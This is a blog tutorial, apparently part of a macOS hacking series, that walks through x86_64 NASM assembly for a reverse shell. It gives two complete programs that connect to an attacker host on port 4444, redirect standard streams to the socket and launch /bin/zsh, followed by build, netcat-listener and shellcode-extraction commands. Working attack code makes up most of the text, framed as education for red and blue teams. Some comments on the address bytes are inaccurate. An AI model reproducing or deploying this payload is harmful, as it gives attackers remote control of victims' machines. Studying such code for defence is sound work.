MacOS hacking part 4: rev shells via x86_64 assembly. Simple NASM examples
﷽
Hello, cybersecurity enthusiasts and white hackers!
In this article, I will walk you through an assembly code that creates a reverse shell on a macOS system using Intel x86_64
architecture. We will go through the code step by step, explaining each part in simple terms.
practical example
Let’s create a minimalist example of how malware can create a reverse shell.
First of all, we need a creating socket:
; socket(AF_INET, SOCK_STREAM,0);
push 0x2 ; store 0x2 on stack
pop rdi ; pop this value into rdi -> AF_INET
push 0x1 ; store 0x1 on stack
pop rsi ; pop this value into rsi -> SOCK_STREAM
xor rdx,rdx ; null out rdx -> 0x00
push 97 ; socket() syscall - 97
pop rax
bts rax,25
syscall
What’s happening here? The first two push and pop instructions set up the values for the socket call. AF_INET (0x2)
indicates the use of IPv4
. SOCK_STREAM (0x1)
specifies that we want a stream socket (TCP
).
The xor rdx,rdx
instruction zeroes out the rdx
register, which in this case means that we are not using any additional flags for the socket call.
Finally, the syscall
instruction makes the socket()
system call to create the socket.
This step essentially sets up a socket that will later be used to establish a connection to the attacker’s machine.
At the next step, we need to connecting to the attacker’s machine. Generally it’s looks like this:
; connect(sockt, (struct sockaddr *) &revsockaddr,sizeof(revsockaddr));
mov rdi,r9 ; rdi -> socket file descriptor
; sockaddr
xor rsi,rsi ; null out rsi
push rsi ; sin_zero
mov rsi,0x0100007F5C110201 ; 0x01 0x02 0x11 0x5C 0x0A 0x00 0x02 0x02
dec rsi ; sin_len = 0x00 after decrement
push rsi
push rsp
pop rsi
;; sizeof(addr)
push 0x10 ; place 0x10 (16) on stack
pop rdx ; rdx -> sizeof struct -> 16 bytes -> 0x10
;; syscall connect()
push 98 ; connect() syscall - 98
pop rax
bts rax,25
syscall
As you can see from the first comment, mov rdi,r9
instruction puts the socket file descriptor (r9
) into the rdi
register, which is the first argument for the connect()
syscall.
Then, the xor rsi,rsi
and push rsi
zero out the rsi
register to represent sin_zero
in the sockaddr_in
structure, which is a structure for storing the IP
address and port.
For simplicity, in this example, the IP address 0x0100007F
is 127.0.0.1
(localhost), and the port 0x5C110201
corresponds to the attacker’s port 4444
.
The syscall
instruction makes the connect()
system call to establish a connection with the specified IP and port.
So, this part of the code connects the compromised machine to a remote attacker, which allows the attacker to communicate with the machine.
Then, we need to duplicating the file descriptors (dup2). What does it mean in ASM code? First of all, the dup2
syscall is used to duplicate the socket file descriptor (r9
) for the stdin
, stdout
, and stderr
. Then, code loops through the file descriptors (2
, 1
, and 0
) and duplicates the socket into these standard input/output/error channels. Finally, the dec rsi
and jns dup2_loop
instructions ensure that this loop continues until all file descriptors have been duplicated.
Full source code for this part is looks like this:
; dup2(connfd,i)
mov rdi,r9 ; rdi -> Socket file descriptor from r9
push 2
pop rsi ; rsi -> 2
dup2_loop:
push 90 ; dup2() syscall - 90
pop rax
bts rax,25
syscall
dec rsi ; decrementing rsi by 1
jns dup2_loop ; jump back to dup2_loop if rsi>=0
this allows the attacker to control the machine via the same socket they used to connect, making the compromised system’s standard input/output go through the attacker’s connection.
In the last part of our malware we need executing the /bin/zsh
shell:
; execve("/bin/zsh", "/bin/zsh", NULL);
xor rdx,rdx ; rdx -> NULL
push rdx ; store NULL on stack
mov rbx,'/bin/zsh' ; store /bin/zsh in rbx
push rbx ; push it onto the stack
mov rdi,rsp ; rdi -> /bin/zsh
push rdx ; argv[1] -> NULL
push rdi ; argv[0] -> /bin/zsh
mov rsi,rsp ; store {"/bin/zsh",NULL} in rsi
push 59 ; execve() syscall - 59
pop rax
bts rax,25
syscall
What’s happening in this last part of our code? The xor rdx,rdx
nullifies rdx
, which is used for argv[1]
(the second argument to execve()
). Then, the program prepares the arguments for the execve()
system call, which is used to launch a program (/bin/zsh
in this case).
Then, rdi
holds the path to the shell (/bin/zsh
), and rsi
holds the arguments for the shell (just the path and NULL
). Finally, the syscall
instruction then triggers execve()
to run the shell.
This step is final step: it runs a new shell on the compromised machine, providing the attacker with full control over the system.
If we summarise our full code, it does the following:
It creates a socket connection to a remote machine.
It establishes the connection.
It duplicates the socket file descriptor for stdin
, stdout
, and stderr
.
It executes a shell (/bin/zsh
) to provide the attacker with control over the system.
So, full source code for the first example is looks like this (hack.asm
):
bits 64
global start
start:
; socket(AF_INET, SOCK_STREAM,0);
push 0x2 ; store 0x2 on stack
pop rdi ; pop this value into rdi -> AF_INET
push 0x1 ; store 0x1 on stack
pop rsi ; pop this value into rsi -> SOCK_STREAM
xor rdx,rdx ; null out rdx -> 0x00
push 97 ; socket() syscall - 97
pop rax
bts rax,25
syscall
mov r9,rax ; save socket fd in r9
; connect(sockt, (struct sockaddr *) &revsockaddr,sizeof(revsockaddr));
mov rdi,r9 ; rdi -> socket file descriptor
; sockaddr
xor rsi,rsi ; null out rsi
push rsi ; sin_zero
mov rsi,0x0100007F5C110201 ; 0x01 0x02 0x11 0x5C 0x0A 0x00 0x02 0x02
dec rsi ; sin_len = 0x00 after decrement
push rsi
push rsp
pop rsi
;; sizeof(addr)
push 0x10 ; place 0x10 (16) on stack
pop rdx ; rdx -> sizeof struct -> 16 bytes -> 0x10
;; syscall connect()
push 98 ; connect() syscall - 98
pop rax
bts rax,25
syscall
; dup2(connfd,i)
mov rdi,r9 ; rdi -> Socket file descriptor from r9
push 2
pop rsi ; rsi -> 2
dup2_loop:
push 90 ; dup2() syscall - 90
pop rax
bts rax,25
syscall
dec rsi ; decrementing rsi by 1
jns dup2_loop ; Jump back to dup2_loop if rsi>=0
; execve("/bin/zsh", "/bin/zsh", NULL);
xor rdx,rdx ; rdx -> NULL
push rdx ; store NULL on stack
mov rbx,'/bin/zsh' ; store /bin/zsh in rbx
push rbx ; push it onto the stack
mov rdi,rsp ; rdi -> /bin/zsh
push rdx ; argv[1] -> NULL
push rdi ; argv[0] -> /bin/zsh
mov rsi,rsp ; store {"/bin/zsh",NULL} in rsi
push 59 ; execve() syscall - 59
pop rax
bts rax,25
syscall
Understanding how this works is crucial for both attackers and defenders, as it shows the fundamental steps of creating a reverse shell.
demo
Let’s go to see everything in action. First of all, copy to the MacOS VM (macos-sonoma
in my case) and compile:
nasm -f macho64 hack.asm -o hack.o
ld -arch x86_64 -macos_version_min 14.0 -e start -static -o hack hack.o
Then, prepare netcat listener in the same host:
nc -l -p 4444
Then, run our reverse shell:
./hack
As you can see, everything is worked as expected! =^..^=
practical example 2
In this case, I just update the IP address in the asm
script. Instead of using 127.0.0.1
I will work with my Kali’s address:
10.0.2.2
So, this is the only difference. So full source code for the second example is looks like this hack2.asm
:
bits 64
global start
start:
; socket(AF_INET, SOCK_STREAM,0);
push 0x2 ; store 0x2 on stack
pop rdi ; pop this value into rdi -> AF_INET
push 0x1 ; store 0x1 on stack
pop rsi ; pop this value into rsi -> SOCK_STREAM
xor rdx,rdx ; null out rdx -> 0x00
push 97 ; socket() syscall - 97
pop rax
bts rax,25
syscall
mov r9,rax ; save socket fd in r9
; connect(sockt, (struct sockaddr *) &revsockaddr,sizeof(revsockaddr));
mov rdi,r9 ; rdi -> socket file descriptor
; sockaddr
xor rsi,rsi ; null out rsi
push rsi ; sin_zero
mov rsi,0x0202000A5C110201 ; 0x01 0x02 0x11 0x5C 0x0A 0x00 0x02 0x02
dec rsi ; sin_len = 0x00 after decrement
push rsi
push rsp
pop rsi
;; sizeof(addr)
push 0x10 ; place 0x10 (16) on stack
pop rdx ; rdx -> sizeof struct -> 16 bytes -> 0x10
;; syscall connect()
push 98 ; connect() syscall - 98
pop rax
bts rax,25
syscall
; dup2(connfd,i)
mov rdi,r9 ; rdi -> socket file descriptor from r9
push 2
pop rsi ; rsi -> 2
dup2_loop:
push 90 ; dup2() syscall - 90
pop rax
bts rax,25
syscall
dec rsi ; decrementing rsi by 1
jns dup2_loop ; jump back to dup2_loop if rsi>=0
; execve("/bin/zsh", "/bin/zsh", NULL);
xor rdx,rdx ; rdx -> NULL
push rdx ; store NULL on stack
mov rbx,'/bin/zsh' ; store /bin/zsh in rbx
push rbx ; push it onto the stack
mov rdi,rsp ; rdi -> /bin/zsh
push rdx ; argv[1] -> NULL
push rdi ; argv[0] -> /bin/zsh
mov rsi,rsp ; store {"/bin/zsh",NULL} in rsi
push 59 ; execve() syscall - 59
pop rax
bts rax,25
syscall
It follows the flow of:
Creating a socket connection (socket()
syscall).
Establishing a connection to a remote server (connect()
syscall).
Redirecting input/output (dup2()
syscall).
Executing a shell command (execve()
syscall) - in this case, executing /bin/zsh
(a shell in our Mac OS X).
demo 2
Let’s go to see second example in action. Compile:
nasm -f macho64 hack2.asm -o hack2.o
ld -arch x86_64 -macos_version_min 14.0 -e start -static -o hack2 hack2.o
For checking correctness, you can analyse file info:
So, all samples successfully compiled.
Then, prepare netcat listener in the kali host:
nc -nlvp 4444
Then, run our reverse shell:
./hack2
As you can see, our reverse shell is worked! Perfect! =^..^=
You can use objdump
to disassemble our executables into machine code (hexadecimal byte values) and then format it into shellcode:
objdump -M intel -d hack
That’s all today.
I hope this post is useful for malware researchers, macOS/Apple security researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
XNU source code
Apple: XNU source code
Apple Open Source: Releases
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine